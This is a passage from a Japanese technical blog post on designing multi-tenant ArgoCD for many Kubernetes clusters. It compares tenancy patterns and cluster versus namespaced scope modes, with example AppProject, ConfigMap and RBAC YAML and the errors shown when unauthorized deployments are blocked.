★Namespace (プロダクト別)、AppProject (プロダクトの実行環境別)オススメした理由テナント例3 - ★★Namespace (プロダクト別)、AppProject (プロダクトのサブチーム別)特にオススメした理由06. どのような誤った操作を防いでくれるのかマニフェストのデプロイ制限マニフェストをデプロイできる場合(\uD83D\uDEAB制限例1) 無認可のNamespaceでApplicationを作成しようとした場合(\uD83D\uDEAB制限例2) 無認可のAppProjectでApplicationを作成しようとした場合(\uD83D\uDEAB制限例3) 無認可のClusterをデプロイ先に指定しようとした場合(\uD83D\uDEAB制限例4) 無認可のNamespaceをデプロイ先に指定しようとした場合カスタムリソースのReconciliation制限ArgoCD系カスタムリソースをReconciliationできる場合(\uD83D\uDEAB制限例1) 無認可のNamespaceにReconciliationを実行しようとした場合07. おわりに謝辞記事関連のおすすめ書籍01. はじめにどうも、熟成アルトバイエルンです。画像引用元:Argo Projectさて最近の業務で、全プロダクトの技術基盤開発チームに携わっており、全プロダクト共有のArgoCD\uD83D\uDC19のマルチテナント化を担当しました。プロダクトが稼働するKubernetes Clusterが数十個あり、Clusterによっては複数のチームが合計100個以上のマイクロサービスを動かしています。このような大規模なマイクロサービスシステムがいくつもある状況下で、ArgoCDのマルチテナント設計の知見を深められたため、記事で解説しました。書きたいことを全部書いたところ、情報量がエグいことになってしまったため、気になる章だけでも拾って帰っていただけるとハッピーです\uD83D\uDE4FKubernetesのマルチテナントパターン (3章)ArgoCDでのテナントパターン実践一覧 (4章)ArgoCDのClusterスコープモードとNamespacedスコープモード (5章)どのような誤った操作を防いでくれるのか (6章)それでは、もりもり布教していきます\uD83D\uDE1702. なぜマルチテナントが必要なのかシングルテナントの場合そもそも、なぜArgoCDにマルチテナントが必要なのでしょうか。例えば、マニフェストのデプロイ先となるプロダクト用Cluster (例:foo、bar、baz) があると仮定します。ArgoCDをシングルテナントにする場合、各プロダクトチームの操作するApplicationを同じテナントに共存させることになります。この場合、単一のargocd-server (ダッシュボード) から全てのApplicationを操作できて便利です。しかし、プロダクト用Cluster数が増えていくにつれて、問題が起こり始めます。例えば、いずれかのプロダクトチームが誤ったApplicationを操作し、結果的に誤ったプロダクト用Clusterにマニフェストをデプロイしてしまう可能性があります。もちろん、システムでインシデントを起こしてやろうという悪意を持った人が、誤ったプロダクト用Clusterを意図的に選ぶ可能性もあります\uD83D\uDE08マルチテナントの場合その一方で、いい感じのマルチテナントにしたとします。プロダクトチームは、認可されたテナントに所属するApplicationにのみを操作でき、反対に無認可のテナントのApplicationは操作できません。これにより、誤ったプロダクト用Clusterにマニフェストをデプロイすることを防げます。03. Kubernetesのマルチテナントパターンマルチテナントパターンの一覧ArgoCDのテナント設計を実践する前に、Kubernetesにはどんなマルチテナントパターンがあるのでしょうか。Kubernetesのマルチテナントパターンは、以下に大別できます。 Clustersas-a-Service Control Planesas-a-Service Namespacesas-a-Service カスタムリソーステナント テナント単位 実Cluster 仮想Cluster Namespace ツール固有の論理空間 テナント間でKubernetesリソースを分離できるか Clusterスコープリソース ✅ ✅ ✅ ツールによる Namespacedスコープリソース ✅ ✅ ツールによる ツール AWS EKSGCP GKEAzure AKEKubeadmなど Kcptensile-kubevclusterVirtualClusterなど Namespaceを増やすだけなので特別なツール不要 ArgoCDのAppProjectCapsuleのTenantkioskのAccountKubeZooのTenantなど ▶ 他のマルチテナントの分類方法について\\"ソフトマルチテナンシー\\" と \\"ハードマルチテナンシー\\" といった分類方法もあります。この分類方法では、テナント間の分離度の観点で各マルチテナントを種別します。ソフトマルチテナンシーは、互いに信頼できる前提の上で、テナント間を弱く分離します。その一方で、ハードマルチテナンシーは、互いに信頼できない前提の上でテナント間を強く分離します。分離度がソフトとハードのいずれであるかに客観的な指標がなく、やや曖昧な種別になってしまうため、本記事の X as-a-Service の方が個人的には好みです♡♡♡The Kubernetes Book: 2024 Edition (English Edition)Multi-tenancy | KubernetesMulti-tenancy - EKS Best Practices GuidesClusters as-a-ServiceClusters as-a-Serviceは、テナントごとに独立したClusterを提供します。ツールとして、AWS EKS、GCP GKE、Azure AKE、Kubeadmなどがあります。Three Tenancy Models For Kubernetes | KubernetesWhat are the three tenancy models for Kubernetes?Control Planes as-a-ServiceControl Planes as-a-Serviceは、テナントごとに独立したコントロールプレーン (言い換えば仮想Cluster) を提供します。ツールとして、Kcp、tensile-kube、vcluster、VirtualClusterなどがあります。Three Tenancy Models For Kubernetes | KubernetesWhat are the three tenancy models for Kubernetes?Namespaces as-a-ServiceNamespaces as-a-Serviceは、テナントごとに独立したNamespaceを提供します。Namespaceを増やすだけなため、ツールは不要です。Three Tenancy Models For Kubernetes | KubernetesWhat are the three tenancy models for Kubernetes?カスタムリソーステナントカスタムリソーステナントは、テナントごとにツール固有の論理空間 (例:ArgoCDのAppProject、CapsuleのTenant、kioskのAccount、KubeZooのTenantなど) を提供します。ツールによっては、X as-a-Service も兼ねている場合があります。今回紹介するAppProjectは、前述の『Namespace as-a-Service』を兼ねています。AppProjectについては、カスタムリソーステナント で解説しています。04. ArgoCDでのテナントパターン実践一覧お待たせしました。ここからは、KubernetesのマルチテナントパターンをArgoCDで具体的に実践し、おすすめのパターン実践を解説していきます。なお、オススメするものを ★ としています。 実Clusterテナント 仮想Clusterテナント Namespaceテナント AppProjectテナントCLモード AppProjectテナントNSモード 対応するテナントパターン Clustersas-a-Service Control Planesas-a-Service Namespacesas-a-Service カスタムリソーステナント ArgoCDがテナント間で占有 / 共有 占有 占有 占有 共有 占有 テナント間でKubernetesリソースを分離できるか Namespacedスコープリソース ✅ ✅ ✅ ✅ ✅ Clusterスコープリソース ✅ ✅ オススメ ★ ★★ How many do you need? Argo CD Architectures Explained - 2024 Update | Akuity以降の図の凡例です。ArgoCDの各コンポーネント (application-controller、argocd-server、dex-server、repo-server) と各リソース (Application、AppProject) を区別しています。04-02. Clusters as-a-Service 実践実Clusterテナント実Clusterテナントは、Clusters as-a-Serviceなテナントの実践であり、実際のClusterをテナントの単位とします。後述の仮想Clusterと対比させるために、\\"実Cluster\\" と呼ぶことにします。各プロダクトチームは、実Clusterテナント内のApplicationを操作し、正しいプロダクト用Clusterにマニフェストをデプロイします。オススメしない理由実Clusterテナントには、以下のメリデメがあります。デメリットの回避策も考慮して、独断と偏見でオススメしませんでした。半年以内にアップグレードしないとサポートが切れるKubernetesクラスターが33個もあって、泣いちゃった— 長谷川 広樹 (俺です) (@Hiroki__IT) January 18, 2023 アーキテクチャ特性 メリット ⭕️ デメリット \xd7 デメリットの回避策 拡張性 - テナントを増やすために実Clusterを用意する必要があり、作業量が多い。 ➡︎ IaCツールで実Clusterを用意するようにすれば作業量を減らせるが、やっぱりとてもつらい\uD83D\uDE2D 安全性(セキュリティ) ClusterからClusterへの名前解決を不可能にすれば、他のテナントからの通信を遮断できる。 - ➡︎ - 保守性 ClusterスコープまたはNamespacedスコープなKubernetesリソースを他のテナントから分離できる。これらのKubernetesリソース (特にCRD) の変更が他のテナントに影響しない。 各テナントが、個別に実Clusterを保守しないといけない。(例:アップグレード、機能修正など) ➡︎ 回避できず、とてもつらい\uD83D\uDE2D 性能 Clusterのハードウェアリソースを他のテナントと奪い合うことなく、これを独占できる。 - ➡︎ - 信頼性 テナントごとに実Clusterが独立しており、他の実Clusterから障害の影響を受けない。 - ➡︎ - 04-03. Control Planes as-a-Service 実践仮想Clusterテナント - ★仮想Clusterテナントは、Control Planes as-a-Serviceなテナントの実践であり、仮想Clusterをテナントの単位とします。各プロダクトチームは、仮想Clusterテナント内のApplicationを操作し、正しいプロダクト用Clusterにマニフェストをデプロイします。Using Argo CD with vclusters. Managing deployment to multiple… | by Daniel Helfand | Argo Projectオススメした理由仮想Clusterテナントには、以下のメリデメがあります。デメリットの回避策も考慮して、独断と偏見で オススメ しました。 アーキテクチャ特性 メリット ⭕️ デメリット \xd7 デメリットの回避策 拡張性 テナントを増やすためにマニフェストで定義した仮想Clusterを用意するだけでよく、実Clusterを用意することと比べて作業量が少ない。 - ➡︎ - 安全性(セキュリティ) 仮想ClusterからホストClusterへの名前解決を不可能にすれば、他のテナントからの通信を遮断できる。 - ➡︎ - 保守性 ClusterスコープまたはNamespacedスコープなKubernetesリソースを他のテナントから分離できる。これらのKubernetesリソース (特にCRD) の変更が他のテナントに影響しない。 各テナントが、個別に仮想Clusterを保守しないといけない。(例:アップグレード、機能修正など) ➡︎ 仮想Clusterに関する知見を持つ組織であれば、各テナントで保守できる。 性能 - Clusterのハードウェアリソースを他のテナントと奪い合うことになる。 ➡︎ 多くの利用者が同時並行的にArgoCDを操作する状況になりにくければ、奪い合いも起こらない。 信頼性 テナントごとに仮想Clusterが独立しており、他の仮想Clusterから障害の影響を受けない。 - ➡︎ - 04-04. Namespaces as-a-Service 実践Namespaceテナントは、Namespaces as-a-Serviceなテナントの実践であり、Namespaceをテナントの単位とします。後述の AppProjectテナント は二重のテナントを持ち、Namespaceテナントも兼ねています。そのため、ここではNamespaceテナントの解説は省略します。04-05. カスタムリソーステナントの実践AppProjectテナントAppProjectテナントは、カスタムリソーステナントの実践であり、NamespaceとAppProjectをテナントの単位とします。AppProjectテナントは、二重のテナント (第一テナントにNamespace、第二テナントに複数のAppProject) を持ち、\\"あらゆる面から\\" マニフェストのデプロイを制限します。特に、AppProjectはNamespaceスコープなカスタムリソースであり、自身に所属するApplicationを一括して制限します。apiVersion: argoproj.io/v1alpha1kind: AppProjectmetadata: name: foo-tenant namespace: foo # 自身に所属するApplicationを制限するspec: ...apiVersion: argoproj.io/v1alpha1kind: Applicationmetadata: name: infra-application namespace: foospec: # foo-tenantに所属する project: foo-tenant ...Argo CD in Practice: The GitOps way of managing cloud-native applications (English Edition)Projects - Argo CD - Declarative GitOps CD for Kubernetes▶ カスタムリソースの仕様について.spec.scopeキーからも分かる通り、AppProjectはNamespacedスコープなカスタムリソースであり、任意のNamespaceを設定できます\uD83D\uDC4DapiVersion: apiextensions.k8s.io/v1kind: CustomResourceDefinitionmetadata: labels: app.kubernetes.io/name: appprojects.argoproj.io app.kubernetes.io/part-of: argocd name: appprojects.argoproj.iospec: group: argoproj.io names: kind: AppProject ... # Namespacedスコープなカスタムリソースであるとわかる scope: Namespaced... argo-cd/manifests/crds/appproject-crd.yaml at master \xb7 argoproj/argo-cd \xb7 GitHubExtend the Kubernetes API with CustomResourceDefinitions | KubernetesCLモード vs. NSモードArgoCDには、Clusterスコープモード と Namespacedスコープモード (以降、\\"CLモード\\" と \\"NSモード\\") があります。スコープモードに応じて、AppProjectテナントの設計方法が異なります。本章では、CLモードとNSモードの両方でAppProjectテナントを解説していきます。Applications in any namespace - Argo CD - Declarative GitOps CD for Kubernetes05. CLモードなArgoCDCLモードなArgoCDとはCLモードなArgoCDの場合、各テナント間で共有のArgoCDを管理します例えば、AppProjectテナントとして、プロダクト別のNamespace (foo、bar、baz) とAppProject (foo、bar、baz) を用意します。別途、ArgoCD専用のNamespace (argocd) を用意し、ここに関連するKubernetesリソース (例:ConfigMap) を配置します。各プロダクトチームは、AppProjectテナント内のApplicationを操作し、正しいプロダクト用Clusterにマニフェストをデプロイします。Applications in any namespace - Argo CD - Declarative GitOps CD for KubernetesArgoCD: Multi-tenancy strategy. Introduction | by Geoffrey | MediumAppProjectNSモードと同様にして、AppProjectに所属するApplicationによるマニフェストのデプロイを制限できます。例えば、以下のような実装になります。apiVersion: argoproj.io/v1alpha1kind: AppProjectmetadata: name: foo-tenant namespace: foospec: destinations: # ArgoCD用Clusterに関する認可を設定する # App Of Appsパターンの場合に使用する - namespace: foo server: \\"https://kubernetes.default.svc\\" # プロダクト用Clusterに関する認可を設定する - namespace: \\"*\\" server: https://foo-cluster.gr7.ap-northeast-1.eks.amazonaws.com # CLモードでは設定が必要である sourceNamespaces: - fooApplicationを操作するログインユーザーが、無認可のNamespaceやClusterをデプロイ先に指定できないように、.spec.destinationキーで制限しています。一方で後述のNSモードとは異なり、CLモードなArgoCDは任意のNamespaceのApplicationにアクセスできます。そのため、.spec.sourceNamespacesキーで、特定のNamespaceのApplicationがこのAppProjectに所属できないように、ApplicationのNamespaceを制限しています。Applications in any namespace - Argo CD - Declarative GitOps CD for KubernetesProjects - Argo CD - Declarative GitOps CD for KubernetesArgoCDコンポーネント用ConfigMap (argocd-cmd-params-cm)NSモードと同様にして、argocd-cmd-params-cmでは、ArgoCDの各コンポーネントのコンテナの引数を設定できます。例えば、以下のような実装になります。apiVersion: v1kind: ConfigMapmetadata: name: argocd-cmd-params-cm # 専用のNamespaceを設定する namespace: argocddata: # CLモードでは設定が必要である # 全てのNamespaceを指定したい場合は、ワイルドカードを設定する application.namespaces: \\"*\\".application.namespacesキーは、argocd-serverとapplication-controllerの--application-namespacesオプションに相当します。一方での後述のNSモードとは異なり、CLモードなArgoCDは任意のNamespaceのApplicationにアクセスできます。--application-namespacesオプションで、任意のNamespaceにアクセスするための認可を設定できます。Applications in any namespace - Argo CD - Declarative GitOps CD for Kubernetes▶ --application-namespacesオプションの設定方法についてargocd-cmd-params-cmの代わりに、例えば以下のようにPodに引数を直接渡しても良いです\uD83D\uDE46\uD83C\uDFFB‍例えば、以下のような実装になります。apiVersion: v1kind: Podmetadata: name: argocd-server namespace: argocdspec: containers: - name: argocd-server image: quay.io/argoproj/argocd:latest args: - /usr/local/bin/argocd-server # コンテナ起動時の引数として - --application-namespaces=\\"*\\" ...apiVersion: v1kind: Podmetadata: name: argocd-application-controller namespace: argocdspec: containers: - name: argocd-application-controller image: quay.io/argoproj/argocd:latest args: - /usr/local/bin/argocd-application-controller # コンテナ起動時の引数として - --application-namespaces=\\"*\\" ... `argocd-application-controller` Command Reference - Argo CD - Declarative GitOps CD for Kubernetes`argocd-server` Command Reference - Argo CD - Declarative GitOps CD for Kubernetesログインユーザー用ConfigMap (argocd-rbac-cm)NSモードと同様にして、argocd-rbac-cmでは、Applicationを操作するログインユーザーが、無認可のAppProjectやNamespaceに所属するApplicationを操作できないように制限します。例えば、以下のような実装になります。apiVersion: v1kind: ConfigMapmetadata: name: argocd-rbac-cm # 専用のNamespaceを設定する namespace: argocddata: # デフォルトのロール # @see https://github.com/argoproj/argo-cd/blob/master/assets/builtin-policy.csv#L9-L16 policy.default: role:readonly policy.csv: | p, role:foo, *, *, foo/*/*, allow p, role:bar, *, *, bar/*/*, allow p, role:baz, *, *, baz/*/*, allow g, foo-team, role:foo g, bar-team, role:bar g, baz-team, role:baz scopes: \\"[groups]\\"認証済みグループ (foo-team、bar-team、baz-team) に対して、無認可のAppProject (foo、bar、baz) に所属するApplicationを操作できないように、認可スコープを制限しています。▶ AppProjectの認可定義の記法についてCasbin の記法を使用します。今回の実装例で使用したp (パーミッション) とg (グループ) では、以下を記法を使用できます\uD83D\uDC4DapiVersion: v1kind: ConfigMapmetadata: name: argocd-rbac-cm namespace: argocddata: policy.default: role:readonly policy.csv: | # ロールとArgoCD系カスタムリソースの認可スコープを定義する p, role:<ロール名>, , <アクション名>, //, <許否> # 認証済みグループにロールを紐付ける g, <グループ名>, role:<ロール名> scopes: \\"[groups]\\"RBAC Configuration - Argo CD - Declarative GitOps CD for Kubernetesオススメしない理由CLモードなArgoCDのAppProjectテナントには、以下のメリデメがあります。デメリットの回避策も考慮して、独断と偏見でオススメしませんでした。 アーキテクチャ特性 メリット ⭕️ デメリット \xd7 デメリットの回避策 拡張性 テナントを増やすためにNamespaceとAppProjectを用意するだけでよく、作業量が少ない。 - ➡︎ - 安全性(セキュリティ) NetworkPolicyでNamespace間の名前解決を不可能にすれば、他のNamespaceからの通信を遮断できる。 - ➡︎ - 保守性 ArgoCD用Clusterの管理者が単一のClusterを保守すればよい。(例:アップグレード、機能修正など) AppProjectはNamespacedスコープなカスタムリソースのため、ClusterスコープなKubernetesリソースを他のテナントと共有しないといけない。そのため、ClusterスコープなKubernetesリソース (特にCRD) の変更は全てのテナントに影響する。 ➡︎ ArgoCDのアップグレード時 (CRDの変更時) は、ついでにKubernetesもアップグレードしたい。新しいClusterを別に作成し、そこで新ArgoCDを作成すれば一石二鳥である。 性能 - Clusterのハードウェアリソースを他のテナントと奪い合うことになる。 ➡︎ 多くの利用者が同時並行的にArgoCDを操作する状況になりにくければ、奪い合いも起こらない。 信頼性 - ClusterまたはArgoCDで障害が起こると、これは全てのテナントに影響する。 ➡︎ 代わりにNodeやArgoCDを十分に冗長化して可用性を高めれば、影響を緩和できる。ただ、そもそもの影響範囲が大きすぎる\uD83D\uDE2D 05-02. NSモードなArgoCD - ★★NSモードなArgoCDとはNSモードなArgoCDの場合、前述のCLモードとは異なり、各AppProjectテナント間でArgoCDを占有します。例えば、AppProjectテナントとして、プロダクト別のNamespace (foo、bar、baz) とAppProject (foo、bar、baz) を用意します。各AppProjectテナントに、ArgoCDと関連するKubernetesリソース (例:ConfigMap) を配置します。各プロダクトチームは、AppProjectテナント内のApplicationを操作し、正しいプロダクト用Clusterにマニフェストをデプロイします。Applications in any namespace - Argo CD - Declarative GitOps CD for KubernetesAppProjectCLモードと同様にして、AppProjectに所属するApplicationによるマニフェストのデプロイを制限できます。例えば、以下のような実装になります。apiVersion: argoproj.io/v1alpha1kind: AppProjectmetadata: name: foo-tenant namespace: foospec: destinations: # ArgoCD用Clusterに関する認可を設定する # App Of Appsパターンの場合に使用する - namespace: foo server: \\"https://kubernetes.default.svc\\" # プロダクト用Clusterに関する認可を設定する - namespace: \\"*\\" server: https://foo-cluster.gr7.ap-northeast-1.eks.amazonaws.com# NSモードでは設定が不要である# sourceNamespaces:# - fooApplicationを操作するログインユーザーが、無認可のNamespaceやClusterをデプロイ先に指定できないように、.spec.destinationキーで制限しています。前述のCLモードとは異なり、NSモードなArgoCDは自身が所属するNamespaceのApplicationのみにアクセスできます。そのため、.spec.sourceNamespacesキーでマニフェストのデプロイを制限する必要はありません。Applications in any namespace - Argo CD - Declarative GitOps CD for KubernetesProjects - Argo CD - Declarative GitOps CD for KubernetesArgoCDコンポーネント用ConfigMap (argocd-cmd-params-cm)CLモードと同様にして、argocd-cmd-params-cmでは、ArgoCDの各コンポーネントのコンテナの引数を設定できます。例えば、以下のような実装になります。apiVersion: v1kind: ConfigMapmetadata: name: argocd-cmd-params-cm namespace: foodata:# NSモードでは設定が不要である# application.namespaces: \\"*\\"前述の通り、.application.namespacesキーは、argocd-serverとapplication-controllerの--application-namespacesオプションに相当します。前述のCLモードとは異なり、NSモードなArgoCDは自身が所属するNamespaceのApplicationのみにアクセスできますそのため、.application.namespacesキーでNamespaceに関する認可を設定する必要はありませんもちろん、Podのコンテナ引数にも設定は不要です。Applications in any namespace - Argo CD - Declarative GitOps CD for Kubernetesログインユーザー用ConfigMap (argocd-rbac-cm)CLモードと同様にして、argocd-rbac-cmでは、Applicationを操作するログインユーザーが、無認可のAppProjectやNamespaceに所属するApplicationを操作できないように制限します。例えば、以下のような実装になります。apiVersion: v1kind: ConfigMapmetadata: name: argocd-rbac-cm namespace: foodata: # デフォルトのロール # @see https://github.com/argoproj/argo-cd/blob/master/assets/builtin-policy.csv#L9-L16 policy.default: role:readonly policy.csv: | p, role:app, *, *, app/*/*, allow p, role:infra, *, *, infra/*/*, allow g, app-team, role:app g, infra-team, role:infra scopes: \\"[groups]\\"認証済みグループ (app-team、infra-team) に対して、無認可のAppProject (app、infra) に所属するApplicationを操作できないように、認可スコープを制限しています。特にオススメした理由NSモードなArgoCDのAppProjectテナントには、以下のメリデメがあります。デメリットの回避策も考慮して、独断と偏見で 特にオススメ しました。 アーキテクチャ特性 メリット ⭕️ デメリット \xd7 デメリットの回避策 拡張性 テナントを増やすためにNamespaceとAppProjectを用意するだけでよく、作業量が少ない。 - ➡︎ - 安全性(セキュリティ) NetworkPolicyでNamespace間の名前解決を不可能にすれば、他のNamespaceからの通信を遮断できる。 - ➡︎ - 保守性 単一のClusterを保守すればよい。(例:アップグレード、機能修正など) AppProjectはNamespacedスコープなカスタムリソースのため、ClusterスコープなKubernetesリソースを他のテナントと共有しないといけない。そのため、ClusterスコープなKubernetesリソース (特にCRD) の変更は全てのテナントに影響する。 ➡︎ ArgoCDのアップグレード時 (CRDの変更時) は、ついでにKubernetesもアップグレードしたい。新しいClusterを別に作成し、そこで新ArgoCDを作成すれば一石二鳥である。 性能 - Clusterのハードウェアリソースを他のテナントと奪い合うことになる。 ➡︎ 多くの利用者が同時並行的にArgoCDを操作する状況になりにくければ、奪い合いも起こらない。 信頼性 テナントごとにArgoCDを占有しており、他のArgoCDから障害の影響を受けない。 Clusterで障害が起こると、これは全てのテナントに影響する。 ➡︎ 代わりに、Nodeを十分に冗長化して可用性を高める。いずれかのインスタンスで障害が起こっても、正常なインスタンスでArgoCDが稼働できる。 AppProjectテナント例の一覧NSモードなArgoCDを採用する場合、AppProjectテナント例を解説していきます。前述の通り、AppProjectテナントが二重テナント (第一テナントにNamespace、第二テナントに複数のAppProject) を持つことに留意してください。なお、オススメするものを ★ としています。 テナント例(二重テナント) オススメ Namespace(第一テナント) AppProject(第二テナント) テナント例1 プロダクトの実行環境別 プロダクトの実行環境別 テナント例2 プロダクト別 プロダクトの実行環境別 ★ テナント例3 プロダクト別 プロダクトのサブチーム別 ★★ ▶ Namespaceの分割パターンについて\\"管理チーム別\\" (今回でいうプロダクト別) というNamespaceの分割パターンは、様々な著名な書籍やブログで紹介されています\uD83D\uDC40 https://www.amazon.co.jp/dp/1617293725Kubernetes best practices: Specifying Namespaces in YAML | Google Cloud Blogテナント例1Namespace (プロダクトの実行環境別)、AppProject (プロダクトの実行環境別)プロダクトの実行環境 (Dev環境、Tes環境) 別に管理されたClusterがいる状況と仮定します。この場合に、プロダクトの実行環境別にNamespace (dev、tes) とAppProject (dev、tes) を用意します。オススメしなかった理由テナント例1には、以下のメリデメがあります。独断と偏見でオススメしませんでした。 アーキテクチャ特性 メリット ⭕️ デメリット \xd7 デメリットの回避策 拡張性 - ArgoCDのPod数が多くなり、将来的にNode当たりのPodやIPアドレスの上限数にひっかかりやすい。その時点で、AppProjectテナントの増やせなくなる。 ➡︎ 例えばAWS EKSの場合、Node数を増やしたり、Nodeのスペックを上げる。ただ、お金がかかる\uD83D\uDE2D 安全性(セキュリティ) ログインユーザー用ConfigMap (argocd-rbac-cm) を使用すれば、無認可の実行環境別AppProjectに所属するApplicationを操作できないように制限できる。 - ➡︎ - 保守性 異なる実行環境に関するApplicationが共存しておらず、別のargocd-serverから操作することになるため、実行環境間の選択ミスが起こりにくい。 - ➡︎ - テナント例2 - ★Namespace (プロダクト別)、AppProject (プロダクトの実行環境別)プロダクトの実行環境 (Dev環境、Tes環境) 別に管理されたClusterがいる状況と仮定します。プロダクト別にNamespace (foo、bar) 、プロダクトの実行環境別にAppProject (dev、tes) を用意します。オススメした理由テナント例2には、以下のメリデメがあります。独断と偏見で オススメ しました。 アーキテクチャ特性 メリット ⭕️ デメリット \xd7 デメリットの回避策 拡張性 ArgoCDのPod数が多くなり、将来的にNode当たりのPodやIPアドレスの上限数にひっかかりにくい。 - ➡︎ - 安全性(セキュリティ) ログインユーザー用ConfigMap (argocd-rbac-cm) を使用すれば、無認可の実行環境別AppProjectを操作できないように制限できる。 - ➡︎ - 保守性 - 異なる実行環境に関するApplicationが共存しており、同じargocd-server (ダッシュボード) から操作することになるため、実行環境間の選択ミスが起こりやすい。 ➡︎ ダッシュボードにはApplicationのフィルタリング機能があるため、選択ミスを回避できる。 テナント例3 - ★★Namespace (プロダクト別)、AppProject (プロダクトのサブチーム別)プロダクトの実行環境 (Dev環境、Tes環境) 別に管理されたClusterがいる状況と仮定します。プロダクト別にNamespace (foo、bar) 、プロダクトのサブチーム別にAppProject (app、infra) を用意します。特にオススメした理由テナント例3には、以下のメリデメがあります。独断と偏見で 特にオススメ しました。 アーキテクチャ特性 メリット ⭕️ デメリット \xd7 デメリットの回避策 拡張性 ArgoCDのPod数が多くなり、将来的にNode当たりのPodやIPアドレスの上限数にひっかかりにくい。 - ➡︎ - 安全性(セキュリティ) ログインユーザー用ConfigMap (argocd-rbac-cm) を使用すれば、無認可のサブチーム別AppProjectに所属するApplicationを操作できないように制限できる。 - ➡︎ - 保守性 - 異なる実行環境に関するApplicationが共存しており、同じargocd-server (ダッシュボード) から操作することになるため、実行環境間の選択ミスが起こりやすい。 ➡︎ ダッシュボードにはApplicationのフィルタリング機能があるため、選択ミスを回避できる。 06. どのような誤った操作を防いでくれるのかそろそろ解説を読むのがしんどい方がいるのではないでしょうか。『君がッ、泣くまで、解説をやめないッ!』AppProjectテナントとNamespacedスコープモードがマニフェストのデプロイをどのように制限するのかについて、例を挙げて解説します。ここでは、以下のAppProjectを作成したと仮定します。AppProjectテナントが二重テナント (第一テナントにNamespace、第二テナントに複数のAppProject) を持つことに留意してください。apiVersion: argoproj.io/v1alpha1kind: AppProjectmetadata: # appチーム name: app namespace: foospec: destinations: # ArgoCD用Clusterに関する認可を設定する # Namespace (foo) へのデプロイを許可する - namespace: foo server: \\"https://kubernetes.default.svc\\" # プロダクト用Clusterに関する認可を設定する # Namespace (app) へのデプロイを許可する - namespace: app server: https://foo-cluster.gr7.ap-northeast-1.eks.amazonaws.comapiVersion: argoproj.io/v1alpha1kind: AppProjectmetadata: # infraチーム name: infra namespace: foospec: destinations: # ArgoCD用Clusterに関する認可を設定する # Namespace (foo) へのデプロイを許可する - namespace: foo server: \\"https://kubernetes.default.svc\\" # プロダクト用Clusterに関する認可を設定する # Namespace (infra) へのデプロイを許可する - namespace: infra server: https://foo-cluster.gr7.ap-northeast-1.eks.amazonaws.comマニフェストのデプロイ制限プロダクトの実行環境 (Dev環境、Tes環境) 別に管理されたClusterがいる状況と仮定します。プロダクト別にNamespace (foo) 、プロダクトのサブチーム別にAppProject (app、infra) を用意します。AppProjectテナントは、例えば 赤線 の方法で、マニフェストのデプロイを制限します。マニフェストをデプロイできる場合マニフェストを正しくデプロイする場合、AppProjectテナントはこれを制限しません。(1) argocd-serverは、argocd-cmd-params-cmからアクセスできるNamespaceを取得します。apiVersion: v1kind: ConfigMapmetadata: name: argocd-cmd-params-cm namespace: foodata:# 設定しないことで、argocd-serverは同じNamespaceにしかアクセスできなくなる。# application.namespaces: \\"*\\"(2) fooプロダクトのinfraチームが、argocd-serverを操作します。(3) argocd-serverは、argocd-rbac-cmからApplication操作に関する認可スコープを取得しますapiVersion: v1kind: ConfigMapmetadata: name: argocd-rbac-cm namespace: foodata: policy.default: role:readonly policy.csv: | p, role:app, *, *, app/*/*, allow p, role:infra, *, *, infra/*/*, allow g, app-team, role:app g, infra-team, role:infra scopes: \\"[groups]\\"(4) infraチームは、認可されたAppProjectに所属するApplicationを操作します。(5) infraチームは、Dev環境のfooプロダクト用ClusterのNamespace (infra) にマニフェストをデプロイできます。(\uD83D\uDEAB制限例1) 無認可のNamespaceでApplicationを作成しようとした場合例えば、fooプロダクトのinfraチームが無認可のNamespace (bar) でApplicationを作成しようとします。すると、argocd-serverは以下のようなエラーを返却し、この操作を制限します。namespace bar is not permitted in project \'infra-team\'無認可のNamespaceでApplicationを作れてしまうと、そのApplicationから無認可のプロダクト用Clusterにマニフェストをデプロイできてしまいます\uD83D\uDE08argo-cd/test/e2e/app_management_ns_test.go at v2.7.10 \xb7 argoproj/argo-cd \xb7 GitHub(\uD83D\uDEAB制限例2) 無認可のAppProjectでApplicationを作成しようとした場合例えば、fooプロダクトのinfraチームが、無認可のAppProject (app) でApplicationを作成しようとします。すると、argocd-serverは以下のようなエラーを返却し、この操作を制限します。Application referencing project \'app\' which does not exist任意のAppProjectでApplicationを作成できてしまうと、そのApplicationから無認可のプロダクト用Clusterにマニフェストをデプロイできてしまいます\uD83D\uDE08(\uD83D\uDEAB制限例3) 無認可のClusterをデプロイ先に指定しようとした場合例えば、fooプロダクトのinfraチームがApplicationを操作し、無認可のプロダクト用Cluster (bar-cluster) をデプロイ先として指定しようします。すると、argocd-serverは以下のようなエラーを返却し、この操作を制限します。application destination{https://bar-cluster.gr7.ap-northeast-1.eks.amazonaws.com infra} is not permitted in project \'infra-team\'任意のClusterをデプロイ先に指定できてしまうと、Applicationから無認可のプロダクト用Clusterにマニフェストをデプロイできてしまいます\uD83D\uDE08argo-cd/util/argo/argo_test.go at v2.7.10 \xb7 argoproj/argo-cd \xb7 GitHub(\uD83D\uDEAB制限例4) 無認可のNamespaceをデプロイ先に指定しようとした場合例えば、fooプロダクトのinfraチームがApplicationを操作し、無認可のNamespace (app) をデプロイ先に指定しようします。すると、argocd-serverは以下のようなエラーを返却し、この操作を制限します。application destination{https://foo-cluster.gr7.ap-northeast-1.eks.amazonaws.com app} is not permitted in project \'infra-team\'任意のNamespaceをデプロイ先に指定できてしまうと、そのApplicationから無認可のNamespaceにマニフェストをデプロイできてしまいます\uD83D\uDE08argo-cd/util/argo/argo_test.go at v2.7.10 \xb7 argoproj/argo-cd \xb7 GitHub▶ AppProjectで設定できる認可の種類についてargocd-serverとapplication-controllerでデプロイできるKubernetesリソースの種類 (.spec.clusterResourceWhitelistキー、.spec.namespaceResourceWhitelistキーなど)repo-serverでポーリングできるリポジトリ (.spec.sourceReposキー)apiVersion: argoproj.io/v1alpha1kind: AppProjectmetadata: name: foo-tenant namespace: foospec: clusterResourceWhitelist: - group: \\"*\\" kind: \\"*\\" namespaceResourceWhitelist: - group: \\"*\\" kind: \\"*\\" sourceRepos: - \\"*\\" ...\\"AppProjectテナントによるマニフェストのデプロイ丸ごとの制限\\" という観点でテーマが異なるため、本記事では言及しませんでした\uD83D\uDE47\uD83C\uDFFB‍ Projects - Argo CD - Declarative GitOps CD for KubernetesDeclarative Setup - Argo CD - Declarative GitOps CD for KubernetesカスタムリソースのReconciliation制限プロダクトの実行環境 (Dev環境、Tes環境) 別に管理されたClusterがいる状況と仮定します。プロダクト別にNamespace (foo) 、プロダクトのサブチーム別にAppProject (app、infra) を用意します。AppProjectテナントは、例えば 赤線 